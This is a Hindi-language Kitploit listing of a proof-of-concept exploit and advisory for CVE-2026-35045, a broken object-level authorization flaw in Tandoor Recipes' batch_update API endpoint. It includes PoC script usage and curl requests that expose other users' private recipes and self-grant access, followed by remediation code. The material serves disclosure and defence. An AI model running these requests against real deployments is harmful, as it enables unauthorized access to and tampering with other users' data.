Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/filipegaudard/cve-2026-35045-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

CVE-2026-35045 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes में एक टूटी हुई ऑब्जेक्ट-स्तरीय प्राधिकरण भेद्यता है, जो batch_update API एंडपॉइंट के माध्यम से अनधिकृत रेसिपी संशोधन को प्रदर्शित करता है।

रिपॉजिटरी देखें
114 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-35045 — Tandoor Recipes में टूटा ऑब्जेक्ट-स्तरीय प्राधिकरण

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


सारांश

Tandoor Recipes v2.6.1 में PUT /api/recipe/batch_update/ एंडपॉइंट Space के भीतर किसी भी प्रमाणित उपयोगकर्ता को उस Space में किसी भी रेसिपी को संशोधित करने की अनुमति देता है — जिसमें अन्य उपयोगकर्ताओं के स्वामित्व वाली निजी रेसिपी भी शामिल हैं। यह सभी मानक एकल-रेसिपी एंडपॉइंट्स पर लागू ऑब्जेक्ट-स्तरीय प्राधिकरण जांचों को पूरी तरह से बायपास करता है।

मूल कारण Django REST Framework का एक व्यवहारिक अंतर है: detail=False लिस्ट-एक्शन कभी भी has_object_permission() को कॉल नहीं करते, केवल has_permission() को कॉल करते हैं। क्वेरीसेट केवल space=request.space द्वारा फ़िल्टर करता है, जिसमें created_by, private, या shared सूची की कोई जाँच नहीं होती। एक हमलावर निजी रेसिपी को बलपूर्वक उजागर कर सकता है, स्वयं को स्थायी पहुँच प्रदान कर सकता है, अन्य उपयोगकर्ताओं की अनुमतियाँ रद्द कर सकता है, और मेटाडेटा के साथ छेड़छाड़ कर सकता है — यह सब एक ही API कॉल में जो HTTP 200 OK खाली बॉडी के साथ लौटाता है।

भेद्यता विवरण

फ़ील्डमान
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास
CVSS v3.18.1 उच्च — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
प्रभावित संस्करणTandoor Recipes ≤ 2.6.1
विक्रेताTandoorRecipes/recipes

MITRE ATT&CK मैपिंग

तकनीक IDनामप्रासंगिकता
T1078वैध खातेहमलावर प्राधिकरण बायपास करने के लिए वैध निम्न-विशेषाधिकार क्रेडेंशियल का उपयोग करता है
T1565.001संग्रहीत डेटा हेरफेरअन्य उपयोगकर्ताओं के स्वामित्व वाली निजी रेसिपी और ACL संशोधित करना

मूल कारण विश्लेषण

1. detail=False ऑब्जेक्ट-स्तरीय अनुमति जाँचों को बायपास करता है

फ़ाइल: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← No created_by or private check
        )

Django REST Framework में, detail=False के साथ पंजीकृत एक्शन लिस्ट-एक्शन होते हैं। वे कभी भी get_object() को कॉल नहीं करते, जिसका अर्थ है कि check_object_permissions() और CustomRecipePermission.has_object_permission() कभी लागू नहीं होते। केवल has_permission() चलता है — जो Space सदस्यता की पुष्टि करता है, रेसिपी स्वामित्व की नहीं।

2. मानक एंडपॉइंट सही ढंग से सुरक्षित हैं

PUT /api/recipe/{id}/ पूर्ण DRF अनुमति प्रवाह का पालन करता है:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → denies access if recipe is private and not owned/shared with requester

batch_update एंडपॉइंट इस पूरी श्रृंखला को चुपचाप छोड़ देता है।

3. बैच के माध्यम से लिखने योग्य फ़ील्ड

RecipeBatchUpdateSerializer निम्नलिखित फ़ील्ड उजागर करता है — Space में किसी भी रेसिपी पर लिखने योग्य:

फ़ील्डप्रभाव
privateरेसिपी दृश्यता टॉगल करें
shared_add / shared_remove / shared_setएक्सेस नियंत्रण सूची में हेरफेर करें
keywords_add / keywords_remove / keywords_setरेसिपी मेटाडेटा बदलें
working_time / waiting_timeरेसिपी समय डेटा संशोधित करें

हमला प्रवाह

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│  Tandoor Server │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space member)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NEVER CALLED │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← No ownership check
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recipe ID 2   │
                                                   │  (owned by A)  │
                                                   │  private=false ← patched
                                                   │  shared=[2]  ← self-granted
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attacker (B)   │
                                                   │ now has full   │
                                                   │ access to      │
                                                   │ Recipe ID 2    │
                                                   └────────────────┘

प्रमाण की अवधारणा

आवश्यकताएँ

  • Python 3.10+
  • requests लाइब्रेरी
root@kitploit:~
pip install requests

उपयोग

root@kitploit:~
# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

मॉड्यूल / एक्शन

एक्शनविवरण
exposeलक्ष्य रेसिपी पर private: false सेट करता है — सभी Space सदस्यों को दृश्यता बलपूर्वक प्रदान करता है
self_grantहमलावर की उपयोगकर्ता ID को shared_add में जोड़ता है — रेसिपी निजी रहने पर भी स्थायी पहुँच प्रदान करता है
bothएक ही अनुरोध में दोनों एक्शन चलाता है (डिफ़ॉल्ट)

मैन्युअल सत्यापन (curl)

1. पूर्व-शर्त — रेसिपी मानक एंडपॉइंट के माध्यम से पहुँच योग्य नहीं है

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: 404 (private, not owned)

2. शोषण — बिना प्राधिकरण के batch_update

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Expected: HTTP 200 OK — {}

3. पोस्ट-शर्त — रेसिपी अब पहुँच योग्य है

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: HTTP 200 with recipe data, private=false

4. रेसिपी सूची के माध्यम से सत्यापित करें

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Expected: 2  <recipe_name>  False

प्रभाव

प्रभाव क्षेत्रविवरणगंभीरता
बलपूर्वक रेसिपी उजागरprivate: false सेट करने से कोई भी रेसिपी सभी Space सदस्यों को दिखाई देती हैउच्च
अनधिकृत स्व-अनुदानshared_add के माध्यम से अपनी उपयोगकर्ता ID जोड़ने से किसी भी रेसिपी तक स्थायी पढ़ने/लिखने की पहुँच मिलती हैउच्च
पहुँच रद्द करनाकिसी रेसिपी की साझाकरण सूची से वैध उपयोगकर्ताओं को हटाने के लिए shared_remove या shared_set का उपयोग करनाउच्च
मेटाडेटा छेड़छाड़अन्य उपयोगकर्ताओं के स्वामित्व वाली रेसिपी पर working_time, waiting_time, और keywords संशोधित करनामध्यम

उपचार

तत्काल सुधार

बैच संचालन को स्वामित्व वाली रेसिपी तक सीमित करने के लिए क्वेरीसेट को created_by=request.user द्वारा फ़िल्टर करें:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Fix: restrict to owned recipes
        )

गहराई में रक्षा

यदि Space प्रशासकों को किसी भी रेसिपी को बैच-अपडेट करने की क्षमता की आवश्यकता है, तो भूमिका-आधारित शर्त जोड़ें:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

DRF के लिए सामान्य मार्गदर्शन

कोई भी detail=False एक्शन जो व्यक्तिगत ऑब्जेक्ट पर कार्य करता है, मैन्युअल रूप से ऑब्जेक्ट-स्तरीय प्राधिकरण लागू करना चाहिए। DRF का has_object_permission() लिस्ट-एक्शन के लिए कभी नहीं कहा जाता है — यह जिम्मेदारी पूरी तरह से डेवलपर पर आती है।


संदर्भ

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास
  • DRF — कस्टम एक्शन और अनुमति जाँच
  • OWASP API सुरक्षा शीर्ष 10 — API1:2023 टूटा ऑब्जेक्ट-स्तरीय प्राधिकरण
  • MITRE ATT&CK T1078 — वैध खाते
  • MITRE ATT&CK T1565.001 — संग्रहीत डेटा हेरफेर

अस्वीकरण

यह प्रमाण की अवधारणा केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।


लेखक

Filipe Gaudard — आक्रामक सुरक्षा शोधकर्ता | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
टूल डाउनलोड करें